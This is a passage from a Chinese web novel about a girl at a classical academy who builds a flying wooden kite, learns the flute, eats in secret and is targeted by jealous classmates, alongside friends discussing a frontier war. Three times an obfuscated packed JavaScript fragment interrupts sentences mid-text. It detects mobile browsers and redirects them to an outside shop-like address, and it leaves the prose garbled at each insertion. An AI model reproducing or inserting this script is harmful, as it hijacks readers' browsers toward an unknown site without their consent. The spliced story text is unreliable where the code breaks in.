随后他起身走出学堂,来到院中,仰头而望。学子们见状,纷纷起身,鱼贯而出。整个东院学堂,不过片刻便空无一人。 木鸢就在东院上空盘旋,不急不缓,一圈又一圈,像是故意要让所有人都看个明白。西院的稚童们和余老先生追着木鸢的身影,从西院一路小跑来到了东院,脚步声和惊呼声搅在一起,把书院午后的宁静搅得沸沸扬扬。 当东院的学子们听说这只木鸢是宋含章亲手制作的时候,所有的目光纷纷落在了这个壮如山的女孩身上。那些目光里,有惊讶,有不可思议,有刮目相看,也有几分说不清道不明的惭愧。 他们没想到,这个被全京城冷嘲热讽的人,这个沦为全京城茶余饭后谈资的人,这个在所有人心目中只会打架闹事的人——竟然能够制作出木鸢。这可是连许多能工巧匠都做不出来的东西。 宋行简和程国恩一度以为宋含章把自己关在院子里,只是闹着玩,没想到真的鼓捣出了木鸢。他们的视线在木鸢和宋含章之间移动。 王修安看了看宋含章,又看了看木鸢,心里对宋含章赞叹不已。 宋含章站在人群中央,圆圆的脸被阳光照得发亮。她没有说话,只是仰头看着自己的木鸢在天上飞。 霍凌霜站在人群中,看着那只盘旋的木鸢,看着众人投向宋含章的目光,心里那股不服输的劲头又翻涌了上来。她不能输给宋含章。宋含章能做木鸢,那她也一定能做点什么。她在心里默默盘算着,要下什么战书才能压过宋含章一头。 风速渐渐减小,木鸢的速度也慢了下来。翅膀的扇动越来越迟缓,最后它像一片落叶般缓缓下降,落在了东院的青石板地面上。 余老先生上前几步,弯腰捡起木鸢,将它托在掌心里仔细端详。阳光透过木鸢的翅膀,在地面上投下细密的纹路。那木鸢做得活灵活现——鸟嘴微张,尾羽舒展,连脚爪都是比照着真鸟刻出来的。 他的指尖轻轻拨动木鸢的翅膀,感受到机括的精密咬合,浑浊的老眼里闪过一丝惊叹的光芒。众人纷纷围拢过来,踮着脚尖探着脑袋,看着余老先生手中这只精巧绝伦的木鸢,嘴里啧啧称奇,议论声此起彼伏。 —— 西院学堂的偏房里,余老先生坐在书案前,花白的胡须在透窗而入的斜阳里泛着微光。他双手捧着那只木鸢翻来覆去地看了又看,然后抬起头,一双带着惊喜的眼睛看着眼前这个壮如小牛的女孩,问道:" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618689|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这真是你自己做的?" 宋含章扬起下巴,双手抱在胸前,语气傲娇:"那是当然。" 余老先生故意板起脸,把木鸢往桌上一放:"我才不相信呢。你这丫头,打架是把好手,做东西——怕不是找哪个木匠帮你做的吧?" 宋含章听了,也不生气,也不辩解。她径直走到书案前,拿起笔墨,铺开一张宣纸,俯下身便开始画。她的手指虽然粗,握笔的姿势也不像那些练了多年书法的闺秀那般优雅,可她落笔却毫不迟疑。 片刻之间,木鸢的结构图便跃然纸上——从翅膀的榫卯到机括的齿轮,从尾羽的平衡木到腹部的传动轴,每一处都标注得清清楚楚,尺寸、材质、安装顺序,无一遗漏。 余老先生看着宣纸上那幅精致缜密的绘图,半晌没有说话。他拿起那张纸,凑近了细看,浑浊的眼睛里再次放出了一丝光芒。 那光芒里有惊喜,有欣慰,也有一种说不清道不明的惋惜——他在想,如果宋含章是一个男子,那该多好。若为男子,凭这份心思和巧手,将来必能在工部或军器监大展宏图,甚至能成为一代名匠。可她偏偏是个女娃,一个连婚事都被人拿来当笑话讲的女娃。这世道,对女子太窄,窄得容不下一个会做木鸢的灵魂。 宋含章见先生一直盯着自己的绘图不说话,也不在意。她向来不在乎别人怎么看她——夸也好,骂也好,她都是那个宋含章。她的目光开始扫视先生的书房。 这间偏房不大,四壁都是书架,书架上塞满了泛黄的典籍和手抄本,空气里弥漫着一股旧书和墨汁混合的气味。突然,她的目光被书架角落里一把落满灰尘的箫给吸引住了。那是一管竹箫,颜色已经泛黄,尾端系着一条褪了色的红穗子,静静地躺在那里,像是等了很多年。 她走过去,踮起脚尖,径直拿起那把箫,翻来覆去看了看,然后放在嘴边,用力吹了几声。那声音又短又哑,在安静的书房里格外刺耳。 余老先生被这声音从惋惜中拉了回来,抬起头看着眼前这个胖乎乎的女孩——她正皱着眉,盯着手里的箫。余老先生忽然笑了,那笑容里带着一种他教书几十年都不曾变过的东西——对每一个愿意学习的孩子的欢喜。 "想不想学?"他问。 宋含章转过头,看着余老先生,那双明亮的眼睛眨了眨,语气斩钉截铁:"想。" 这一个"想"字,干脆利落,没有半点犹豫,传到余老先生耳里,像是有人在他沉寂了多年的心湖里投下了一颗石子。他二话不说,从书架上取下另一管备用的竹箫,用袖口擦了擦灰,便教起了宋含章吹箫。 他让她先学指法,再学吐气,一个孔一个孔地按,一个音一个音地吹。宋含章的手粗,按住那些细小的音孔颇为吃力,可她没有说一句泄气的话,只是皱着眉,一遍又一遍地调整手指的位置。 而此刻,在东院的偏房里,另一场教学也在进行。 王修安正在教顾子衿抚琴。这是顾承宇托付的事——他说妹妹喜欢抚琴,便请王修安抽空教一教,王修安也爽快地答应了下来。 顾子衿坐在琴案前,腰背挺直,小小的身板端正如松。她伸出纤细的手指,轻轻拨动琴弦,琴音从她指尖流出,虽然还带着初学者的生涩,却已经有了一丝韵味。 顾子衿极有灵性,聪慧过人,王修安讲解的技巧她一点就通。教她识谱,她过目不忘;教她指法,她触类旁通。弹得也十分认真,小脸上满是专注,仿佛整个世界都化作了指尖这七根琴弦。 王修安坐在一旁,看着这个十岁的女孩子,心里不由感叹——顾家的孩子,果真个个不凡。哥哥能在战场上以一当百,妹妹能在琴案前沉心静气。 他忽然又想起宋含章和霍凌霜吃蛇胆的事,再看看眼前这个文静乖巧的顾子衿,不禁摇头失笑——这青山书院的女孩子们,还真是一个比一个让人意外。 于是,从这一日起,每日日光开始西斜时,西院便会传出笨拙而执拗的箫声——那声音粗短断续,有时还会突然冒出一声刺耳的尖叫,惊得檐下的灰雀扑棱棱飞走,是宋含章在学吹箫。 她吹得不好听,却吹得极认真,每吹对一个音,眼睛就会亮一下,像是又打赢了一架。而东院则会传出清越成调的琴曲——那琴声悠扬婉转,虽还稚嫩,却已有了几分山水之意,是顾子衿在学抚琴。 两种截然不同的乐声,一东一西,在青山书院的暮色里交织。一个粗犷,一个清雅;一个笨拙,一个灵秀。可它们都同样认真,同样不折不挠。 箫声与琴声越过院墙,在书院上空相会,像是冥冥中某种命运的呼应,被晚风送出去很远很远。 10. 不要死在战场,我们还要比赛生儿子 清风居里,海棠花的香气氤氲不散,甜丝丝地裹在暮春的空气里,像是给这方庭院笼了一层看不见的薄纱。花瓣偶尔从枝头飘落,落在青石地面上,落在石桌的棋盘上,也落在两个正在对峙的人影之间。 顾承宇手握利剑,剑身在午后的阳光下泛着冷冽的寒光。他的目光沉静如潭,双脚不丁不八地立在院中,整个人像一柄蓄满了势的弓。 他对面的招财身形瘦小,双手握着剑,眼睛紧盯着自家公子的每一个动作。 顾承宇动了——剑锋破空,每一招每一式都带着从战场上的尸山血海里爬出来的狠戾,没有一丝花哨,没有半分多余,仿佛每一剑挥出去都只有一个目的:取下敌人的项上人头。那是真正杀过人的剑法,没有书院的儒雅,没有演武场的规矩,只有最直接的生与死。 招财的身形瘦小,却也因此更加灵活。他像一只灵猫般闪转腾挪,手中的剑勉强挡住了顾承宇的六招,剑刃相交发出刺耳的金属撞击声。到第七招时,顾承宇的剑尖已经抵在了他的咽喉前——分寸拿捏得恰到好处,剑尖与皮肤之间只余一线,再往前一丝便会见血。 顾承宇收剑入鞘,动作干脆利落,将剑扔给招财,语气里带着一丝难得的赞许:"还不错,有长进。上次只能挡五招,这次多挡了一招。" 招财双手接住剑,紧绷的神经一松,立马笑逐颜开,露出一口白牙:"都是公子教得好。公子每一招都拆给我看,我再学不会,就太蠢了。" 他的话音还未落地,便听见了朝着清风居踏进来的脚步声——不是一个人的脚步,是三个人,步伐节奏各不相同,却都是他熟悉得不能再熟悉的。招财连头都没有回,便立马抱着剑小跑进了茶房,动作熟练得像演练了千百遍。他知道,这几位爷来了,公子就不需要剑了,需要的是茶。 王修安、宋行简、洪楚离径直穿过庭院,来到海棠花下。石桌旁的四张石凳像是专门为他们留的,三人各自落座,顾承宇也坐了下来。海棠花瓣落在棋盘上,落在茶盏边,无人去拂。 王修安的目光落在面前石桌的棋盘上。那是一盘下了一半的残局,黑白交错,局势微妙。他看了片刻,伸出修长的手指在棋盘上轻轻点了几处,然后抬起头看着顾承宇,语气里带着几分洞穿一切的淡然:"置之死地而后生,伤敌十指不如断敌一指——你倒是想得周到。这盘棋,你是在推演西疆的战局吧。" 顾承宇听了,微微一笑。那笑容很淡,却有一种旁人读不懂的意味深长:"你啊,真不适合在书院里教书。那西疆和北疆才是你的天地。你的脑子,用在战场上,能抵十万大军。" 洪楚离凑过来看了看棋盘,歪着脑袋端详了半天,忽然一本正经地说道:"先生,他这都是纸上谈兵。你看那赵括,背了那么多的兵书,讨论起用兵之道滔滔不绝,句句有理,连他爹赵奢都说不过他。可到了战场上,他背的那些兵书全都失去了作用——战场上的形势瞬息万变,不是书上写好了等你来用的。这排兵布阵啊,还是要因地制宜,因敌制变,方能以小的代价取得大的胜利。" 宋行简听了,伸手拍了一下洪楚离的肩膀,力道不轻,眼睛里带着几分刮目相看的惊讶:"哎呀,没想到啊,你这狗嘴里也能吐出象牙来。这话说得有道理,不像是胡扯。" 洪楚离一把将宋行简的手推开,翻了个白眼:"去去去,滚一边去。我好不容易正儿八经一回,你却泼一盆如此冷的水,真是不像话,真不够朋友。我这肚子里,装的也不全是浑话。"他整了整衣襟,坐直了身子,摆出一副正经模样,可惜只维持了几个呼吸便破了功。 王修安没有理会两人的斗嘴,转而看着顾承宇,神色沉了下来,语气也凝重了几分:"听说西夷王磨刀霍霍,正在集结各部兵马,准备大举进攻西疆。宁国,又要陷入战火之中了。" 顾承宇端起茶盏,手指摩挲着杯沿,目光越过海棠花枝,望向了很远的西方。他的声音平静而笃定:"放心吧。父亲和二叔镇守西疆几十年,那一带的地形、气候、敌情,他们了如指掌。有我顾家军在,西夷王就别想踏进宁国的疆土。"他顿了顿,放下茶盏,目光扫过三位好友,嘴角微微扬起,"一个月后,我也要去西疆了。你们就在京城等着我凯旋的消息吧。" 此话一出,石桌旁的气氛忽然变了。海棠花还在飘落,茶香还在氤氲,可方才的轻松调侃仿佛被人从空气里抽走了。三个人的目光同时落在顾承宇身上——他十七岁,脸上还有一丝少年的青涩,可说出这话的时候,语气平淡得像是去赴一场寻常的宴席。 宋行简沉默了一瞬,开口道:"听说西疆的大漠孤烟和长河落日的景色很是壮美。从前只在诗词里读到过——大漠、孤烟、长河、落日、胡马、关山……那些句子再美,终究是纸上得来的。真想有朝一日去到那里,将那壮丽的景色尽收眼底。" 顾承宇看着宋行简,目光里带着一丝只有戍边之人才有的辽阔:"只要心中有想,便能迈开脚步。宁国的疆土不只有西疆,还有北疆和南疆。无论西疆、北疆还是南疆,都是我们作为军人需要用生命守护的热土。"他顿了顿,声音低了几分,却更加笃定,"那里的每一粒沙,每一寸土,都值得。" 洪楚离一听这话,赶紧放下茶盏,连连摆手,语气急切得像是要把什么不吉利的东西赶走:"哎呀呸呸呸,守护的热土用的是手中的利剑,不要用生命。什么生命不生命的,多不吉利。"他凑近了些,挤眉弄眼地说,"咱们还得比赛生儿子呢。到时候我们来比一比,看谁生的儿子多——我可是认真的,承宇你别想赖账。" 宋行简听了,笑了起来,那笑声冲淡了几分凝重:"就你这单薄的身板,生一个都成问题,还敢跟健硕的承宇比生孩子?你真是鸡卵碰石头——自不量力。" 洪楚离急了,拍着石桌道:"我不管,反正你要好好活着回来。到时候我生了三个,你一个都没有,那才叫丢人。" 顾承宇端起茶盏,浅呷一口,声音平静如止水,却带着一种沉甸甸的分量:"打仗哪有不死人的?历朝历代,边关的每一寸热土,哪一寸不浸润着将士的鲜血?从我第一次踏上战场的那天起,就已经想明白了。若那一天真的来了,也是马革裹尸,死得其所。" 海棠花瓣落在他面前的棋盘上,落在黑白棋子之间,像是一声无声的叹息。 此时,招财已经端着茶盘轻手轻脚地走了出来,将四杯热茶一一奉上,然后又悄无声息地退回了茶房。他站在茶房门口,隔着门帘偷偷看了一眼自家公子,眼眶有些发酸。 王修安听了这些沉重的话,端起茶盏,却久久没有送到唇边。沉默了许久,他放下茶盏,声音放轻了几分,有意将话题从生死之事上绕开:"承宇,子衿那孩子,真是聪慧。一点就通,那琴曲已经成了调。才学了一久,就已经能弹《鹿鸣》了。假以时日,必成大器。" 顾承宇端起茶盏,“这丫头,明明将门之后,偏偏像出生于书香门第之家的女孩子。” 宋行简听了,看着顾承宇笑了笑,“我家含章与你家子衿正好相反。我们家乃是书香门第,可含章偏偏像出生于将门之后。天天抱着兵书和墨家机关道啃。” 洪楚离听了,立马放下茶盏,大声说道:“即使是将门,也断然生不出含章那样的混世魔王来。一个女孩子,打架就算了,还把蛇开膛破肚,直接掏出蛇胆吃掉。”他说完,突然笑起来,又接着说道:“等她长大与沈十安成亲,会不会把沈十安的心掏出来吃掉。我真是心疼沈十安啊!” 王修安端起茶盏,呷了一口茶,转头看向宋行简,问道,"行简,那木鸢——真的是含章亲手制作出来的?没有旁人帮她?" 宋行简点头,语气里带着几分真切的骄傲,又有几分无奈的叹息:"千真万确。她那个院子里,没有绣架,没有花花草草,只有一堆一堆的木头和那些木工的工具。锯子、刨子、凿子、墨斗,样样齐全。" 他顿了顿,像是想起了什么往事,"刚开始,母亲见她一个女孩子家学木工,气得把那些工具全没收了,把那些木材一把火烧了个干净,还把她关在府里不准出门。后来父亲出面,说让她去京城最好的张木匠和牛铁匠那里看看,想让她知难而退——女孩子家家的,总不能真当个木匠吧?哪里知道,她翻墙出去,自己跑去找张木匠请教。 张木匠起初不肯教,她就在铺子门口蹲了一整天,人家才松了口。把我母亲气得七窍生烟,差点又要动手打她。后来我父亲劝母亲,说每棵树跟每棵树都不一样,有的长得直,有的长得弯,有的开花早,有的结果晚——就让她自然生长吧,修剪太多反而伤了根。我母亲静下来想想,也觉得有道理,便不再管她了。" 王修安静静地听完,手指轻轻拨动着茶盏的边缘。过了许久,他才缓缓开口,声音里带着一种不易察觉的怜惜:"含章是太孤独了。从她记事到现在,一直都是京城里的笑柄。那些话有多难听,你们不是她,不会真正明白。唯有做自己喜欢的事情时,她才会忘记那些伤人的话——忘记那些骂她胖、骂她粗鲁、骂她嫁不出去、贬低她的话。木鸢飞上天的时候,她的心里一定很安静。" 宋行简听了,垂下眼帘,声音低沉了几分:"我们也知道她受到了很大的伤害。这些年,她从来不跟我们说,从来不在我们面前哭,可我们都知道。只是她的胆子真的太大了,我们真是担心有一天会出事。把蛇开膛破肚,吃蛇胆——下次不知道还会做出什么惊天动地的事来。" 顾承宇端起茶盏,手指在杯沿上轻轻叩了两下,像是在斟酌什么。他放下茶盏,声音不高,语气却带着一种笃定的判断:"你这妹妹,生得好生奇怪——像是一位被困在女子身体里的男子。也许是未投胎时一心想做男子,孟婆端汤的时候不老实,被孟婆一脚踹到了女人窝里,这才生了一副女儿身。所以她骨子里那股劲,那股不服输的劲,那股敢做敢当的劲,都是男儿魂。" 这番话从一个从不轻易评价女子的少年口中说出来,分量格外重。他说完便低下头,目光落在面前的棋盘上,落在一旁那本翻得起了毛边的兵书上,仿佛刚才的话只是随口一提。可了解他的人都知道,顾承宇从不随口说话。 王修安也低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618690|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着棋盘,沉默了良久。他没有接话,只是伸出手指,拈起一枚棋子,轻轻地推演起沙盘来。他的手指修长白皙,与顾承宇那双布满老茧的手形成鲜明对比,可两人推演阵法的速度却不相上下。 顾承宇也拿起棋子,与王修安把这棋盘当作战场,开始博弈起来。两人时而推进,时而收缩,时而迂回包抄,时而出其不意。他们演绎着不同的阵法——八卦阵层层叠叠,变化无穷;长蛇阵首尾相顾,击首则尾应,击尾则首应;鹰阵两翼包抄,如苍鹰搏兔。 每一种阵法都配着相应的破阵之法,你来我往,攻防转换之间,仿佛千军万马在这小小的棋盘上厮杀。洪楚离和宋行简在一旁看得入神,连呼吸都不自觉地放轻了,仿佛怕惊扰了这场没有硝烟的战争。 而此刻,宋府的书房里,气氛却截然不同。 宋四维坐在书案前,面前摆着那只已经飞过青山书院上空的木鸢。烛火照在木鸢的翅膀上,木纹清晰可见,每一处榫卯都严丝合缝,每一个关节都灵活自如。他伸出手指,轻轻拨动了一下木鸢的翅膀,机括发出细微的咔哒声。他的目光在木鸢上停了许久,然后缓缓抬起头,看着面前站着的女儿。 宋含章站在父亲面前,双手垂在身侧,下巴却依旧微微扬起——那是一个习惯了被训斥的孩子下意识的姿态。可在父亲面前,她的下巴扬得没有那么高。 良久,宋四维才开口,声音平静,听不出喜怒:"团团,这真是你自己做的?不是张木匠带你做的吧。" 宋含章没有躲避父亲的目光,坦然道:"我只是请教了他一些不懂的地方。翅膀的弧度、机括的松紧,我自己拿不准,去找他问了几次。但画图、选料、打磨、拼接,都是我自己做的。" 宋四维没有追问。他看着眼前这个壮实的女儿,目光里有一种复杂的情绪——骄傲、心疼、无奈,还有一丝深深的遗憾。 他沉默了片刻,然后轻声说道:"团团,可惜你不是男儿。若你是男儿,凭你这双手和这颗心,将来不是能工巧匠,便是沙场先锋。"他顿了顿,语气柔和了几分,像是怕伤了女儿的心,"可既然不是男儿,就好生做一个女儿家吧,不要再气你母亲了。你看你母亲,现在还躺在床上呢。她不是不疼你,她是太疼你了,才会被你气成这样。" 宋含章听了,嘴唇动了动,想说什么,最终只是点了点头。她转身离开书房,沿着走廊慢慢走到了母亲的房间。 她推开房门,脚步很轻,像一个做错了事的孩子。宋夫人听见脚步声,知道是谁来了,立刻翻身背对着她躺着。那个背影又僵又冷。 宋含章走到母亲床边,她已经不知道这是第几次把母亲气倒在床了。 她站了片刻,然后开口。她的声音不像平日里那般张扬,带着一丝小心翼翼的试探:"娘亲,是我又把你气到了。我……也很愧疚。"她顿了顿,手指无意识地绞着衣角,那个在外面天不怕地不怕的混世魔王,此刻只是一个不知如何向母亲认错的女儿,"可是,谁让你生了一个这样的我呢?如果你实在是气不过,你就把我塞回肚子回炉重造吧。造一个你喜欢的乖乖女出来——会绣花,会弹琴,吃东西像小鸟一样,走路像柳枝一样。那样你就不用天天生气了。" 宋夫人被她这番话气得浑身一抖,腾地弹坐起来,抓起身边的枕头就朝宋含章砸了过去。枕头落在宋含章身上,软绵绵的,不痛不痒,可她的声音却带着锥心之痛:"如果能回炉重造,你不知道被锻造多少次了!你的胆子真是越来越大,现在就敢开膛破肚吃蛇胆,以后是不是还得吃熊心豹子胆?是不是还得把我的心剖出来吃掉?" 宋含章接住枕头,将它轻轻放回床上,低着头道:"女儿不敢。" 宋夫人看着她那副低着头、不辩解的样子,忽然觉得浑身的力气都被抽走了。她重新躺下,翻过身去,声音疲惫得像从很深很深的地方传出来:"你出去吧。我现在不是你娘亲,我暂时没有你这个女儿。我想要静一静。你让娘静一静,好不好?" 宋含章站在原地,看着母亲背对着自己的身影。她上前一步,伸手扶着母亲的肩膀,轻轻扶着母亲躺好,然后将被子往上拉了拉,盖住了母亲露在外面的肩膀。 "那娘亲好好休息。我去让爹爹来陪陪娘亲。还有,以后,我每顿只吃一碗饭,我说到坐到。"她的声音很轻,像是怕惊碎了什么。 宋夫人没有说话,也没有回头,只是无奈地闭上了眼睛。眼角有一滴泪无声地滑落,渗进了枕头里。她听着女儿的脚步声渐渐远去,心里翻涌着无数说不清道不明的东西——她知道这个女儿不是坏孩子,可她就是不知道该怎么去爱她。这个孩子太倔了,太野了,太不像她想象中女儿该有的模样。可偏偏,这种倔强和野性,又是从她和宋四维身上一脉相承下来的——只是,女儿比他们任何人都更不妥协,更不认命。她也常常问老天爷,她到底犯了哪个天条?让她生下一个混世魔王来! 门外,宋含章在廊下站了很久,没有走。夜风拂过她的脸,把她眼角一点看不见的潮湿吹干了。然后她转身,大步走向父亲的书房。 11. 在不友好的世道,给自己留下温柔 晨光初升,第一缕曦光越过宋府的院墙,落在院中那棵老槐树的枝头。 宋含章已经醒了。她向来不赖床,天不亮就翻身下地,穿好衣裳,用冷水抹一把脸便往院子里走。春夏还在厨房里忙活,灶膛里的火刚刚烧旺,大饼的香气正从锅沿边钻出来。 院子里,宋含章拉开架势,开始练习肖朗教她的拳脚功夫。她的身体虽笨重壮硕,像一个圆滚滚的石碾子,可一旦动起来,那石碾子便成了陀螺——每一拳都带着风声,每一脚都踏得地面微微震动,灵活得与她的身形截然相反。 肖朗说过,她的下盘稳,力气大,是天生的练武料子。只是这世道,没有几个女子需要练武,更没有几个人觉得一个胖姑娘挥拳头有什么好看的。但宋含章不在乎,她喜欢出汗的感觉,喜欢拳头打在空气里那种踏实的闷响。 春夏端着三个刚出锅的大饼踏进院子。那大饼烙得两面金黄,表面还冒着油光,热气腾腾地裹在粗布里。她走进屋子,轻车熟路地把饼塞进了宋含章的书袋最底层,上面又用几本书和笔墨盒子压住,这才拍了拍手上的碎屑。她知道自家姑娘饭量大,在书院那点午膳根本吃不饱。 书院饭堂里的伙食虽有荤有素,但每人定量,宋含章那几口饭对她来说不过是塞牙缝。可在人前她又不敢多吃——怕被人看见自己狼吞虎咽的模样,怕那些嫌恶的目光和刻薄的议论。所以每一次,春夏都会给她准备几个大饼,藏在书袋里,这是只有她们两个人知道的秘密。 宋含章的胆子确实大,大到敢抓蛇、吃蛇胆、把嘲笑她的人扔上树。可她也有自己的自尊。在书院午膳时,她从来不敢多吃,端着碗筷端端正正地坐着,像所有贵女一样细嚼慢咽,每一口都吃得小心翼翼。她怕别人发现自己的秘密。 每次在书院用完午膳,她都会悄悄找一个隐秘的地方,通常是后山那棵大槐树下,然后从书袋里掏出春夏为她准备的大饼,一个接一个地全部吞到腹中。直到肚子填饱了,她才会心满意足地抹抹嘴,把嘴角的饼渣子清理干净,重新变回那个天不怕地不怕的宋含章。 青山书院的钟声敲响,悠远的钟声荡过东院和西院,学子们纷纷端坐于学堂之中。无论是东院那些意气风发的少年郎,还是西院这些懵懵懂懂的稚童,都只有朗朗的读书声、先生授课的声音以及学子回答问题的声音。那声音交织在一起,在青山绿水间织成了一张看不见的网,网住了春日里最安详的时光。 余老先生的讲案上放着一本《诫子书》,书页泛黄,是他用了大半辈子的旧物。 他正在讲如何修身养性、如何摒弃自己身上的缺点、如何重塑自己、如何反省每日行为言语的不足、如何改变自己。 他用"俭以养德"讲节俭如何涵养德行,用"非淡泊无以明志"讲淡泊如何让志向更加清明,用"非宁静无以致远"讲宁静如何让人走得长远。说到"慆慢则不能研精"时,他的目光特意在几个平日里最坐不住的孩子身上多停了一瞬,虽然没有点名,但那股子不动声色的敲打,比戒尺还让人心头发紧。 余老先生年岁虽大,须发全白,却不是那些迂腐的老学究。他的思想很开明,知道每个孩子都有自己的天性——有的像松,挺拔孤高;有的像柳,柔顺温婉;有的像竹子,直来直去;有的则像藤蔓,要绕着东西才能往上爬。 他从不强求所有孩子都长成一个样子。他要做的,是根据每个孩子的天性去扶正、去修正,让他们知道尊重生命,敬畏生命——哪怕是山里的一条蛇,树上的一只鸟,田里的一棵秧苗。 当然,他也会像茶馆里的说书先生一样,给稚童们讲前朝的英雄人物事迹。讲到动情之处,他干脆从讲案后站起来,花白的胡须随着他抑扬顿挫的语调一翘一翘,声音慷慨激昂,把每个稚童都带入到那个金戈铁马的情境当中。讲卫青七征匈奴,讲霍去病封狼居胥,讲姜维之死…… 稚童们听得如痴如醉,连平日里最坐不住的几个都瞪圆了眼睛,嘴微微张着,仿佛亲眼看见了那些驰骋沙场的背影。 午膳的钟声响起,又到了吃饭的时辰。饭堂里,无论是东院那些意气风发的少年,还是西院这些不懂事的稚童,都端端正正地坐着,左手端碗,右手拿筷,吃得文雅有礼。 连宋含章也如同大家闺秀一般,坐得笔直,夹菜的动作轻缓有度,饭入口中细嚼慢咽,每一口都吃得小心翼翼。没有人注意到,她面前的饭菜分量比旁人多不了多少,也没有人注意到,她放下筷子时,眼睛还忍不住往旁边人盘子里多看了一眼。 一旁的宋行简和程国恩见了宋含章这与在家里截然不同的模样,既觉得好笑,又觉得心里发酸。在家里,宋含章吃饭时风卷残云,腮帮子塞得鼓鼓囊囊,那才是真正的她。 可在书院,她不敢当着大家的面多吃——那些关于她体型的嘲笑已经够多了,她不想再给人添一句"看她那吃相,怪不得那么胖"。在家里,母亲又控制着她的饭量,每顿饭都要把她的碗收走。里外都不让她吃饱,宋行简想到这里,看着妹妹小口小口抿着饭粒的样子,心里像被什么东西揪了一下。 宋含章率先放下碗筷,站起身,从饭堂里退了出来。她左右张望了一下,确定没有人跟着,便快步来到书院后面那棵大槐树下。 那是她的地盘,一棵遮天蔽日的老槐树,树后是一丛灌木,挡住了书院的视线。她坐下,从怀里掏出早就藏好的大饼,大口大口地吃起来。那饼还是温的,是春夏天不亮就起来烙的,麦香混着油香在她的舌尖炸开。 她的嘴角沾满了饼渣,可她顾不上擦。民以食为天,人是铁饭是钢,不吃饱饭怎么有力气打架、做木鸢、跟那些嘲笑她的人斗?此时此刻,是宋含章最满足的时候。能够吃饱,是她每天最盼望的事情。风从山上吹下来,吹着她的头发,吹着她鼓鼓囊囊的腮帮子,吹着她满嘴的饼渣子。 就在宋含章起身离开饭堂不久,霍凌霜、沈十安、顾承泽、顾子佩、曾思雨、钟荀彧便也放下碗筷,悄悄跟了出去。他们早就发现宋含章每次在饭堂都是第一个吃完离开——她吃得比谁都斯文,饭量看上去和寻常闺秀无异。 可当大家在休息时她才会回来,而且回来时嘴角还带着一些饼渣子,衣襟上偶尔也沾着碎屑。这些细节,旁人或许不会在意,可这几个与她有过节的孩子却全部看在了眼里。他们产生了怀疑,于是决定找准时机,悄悄跟踪她一探究竟。 他们猫着腰,脚步放得比猫还轻,一路悄悄跟着宋含章来到了后山。藏在那丛灌木后面的他们,拨开枝叶探头望去,看见了大槐树下的宋含章正捧着大饼大口大口地啃着。那饼比她的脸还大,而且是整整三个——每一个都有成年人两个巴掌合起来那么宽,厚实、油亮,被宋含章三下五除二撕成块塞进嘴里。 三个大饼,不过片刻工夫,全部被她吞到了肚子里。她抹了抹嘴,仰头靠在树干上,打了个小小的饱嗝,脸上露出了一个心满意足的笑容。 此时他们才明白,宋含章一定是不敢在饭堂多吃,怕别人发现她饭量大的秘密,然后偷偷背着大家来到后山填饱肚子。她不怕蛇,不怕打架,不怕被罚站,可她怕被人知道她连吃饭这件事都被人盯着、被人笑话。 曾思雨眼睛一亮,嘴角勾起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618691|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹得意的笑,抬脚就准备冲出去嘲笑宋含章——"哟,宋含章,怪不得你那么胖,原来你一顿饭能吃三个大饼,猪都没你能吃。"她连嘲讽的词藻都在心里拟好了,只等她挪开脚步,迈出那片灌木丛。 就在她即将迈出脚步时,霍凌霜一把拉住了她的手臂,将她拽了回来。霍凌霜没有说话,只是向几人使了个眼色——那目光里有一种远超十岁女孩的沉稳与算计。几人交换了一下眼神,便跟着她悄悄离开了后山,脚步比来时更轻,像是从来没有出现过。 沉浸在吃饼满足感中的宋含章,对这一切毫不知情。她拍拍手上的饼渣,靠着老槐树闭了一会儿眼,享受着春日午后的暖风和肚子里终于踏实了的感觉。 霍凌霜、顾承泽他们回到学堂时,午休时间还没结束。学堂里空荡荡的,几个孩子围坐在角落里,压低声音,像是在密谋什么军国大事。 沈十安率先开口,眼神里闪烁着兴奋的光,压低声音道:"咱们把宋含章的秘密告诉大家,让她再次丢人现眼。这次一定要让京城的人知道她宋含章是一头能吃的猪。" 顾承泽立刻点头,揉着还隐隐作痛的后背——那是上次被宋含章扔上树的纪念:"对,让所有人都知道她有多能吃。什么翰林家的二小姐,就是个饭桶。" 顾子佩和曾思雨也纷纷赞同,一个个跃跃欲试,恨不得立刻起身冲出去大肆宣扬。曾思雨更是已经在心里编好了说辞——她要说宋含章在饭堂里装斯文,背后躲在山上像野人一样啃大饼,那画面她要用最刻薄的话说出去。 钟荀彧没有说话。 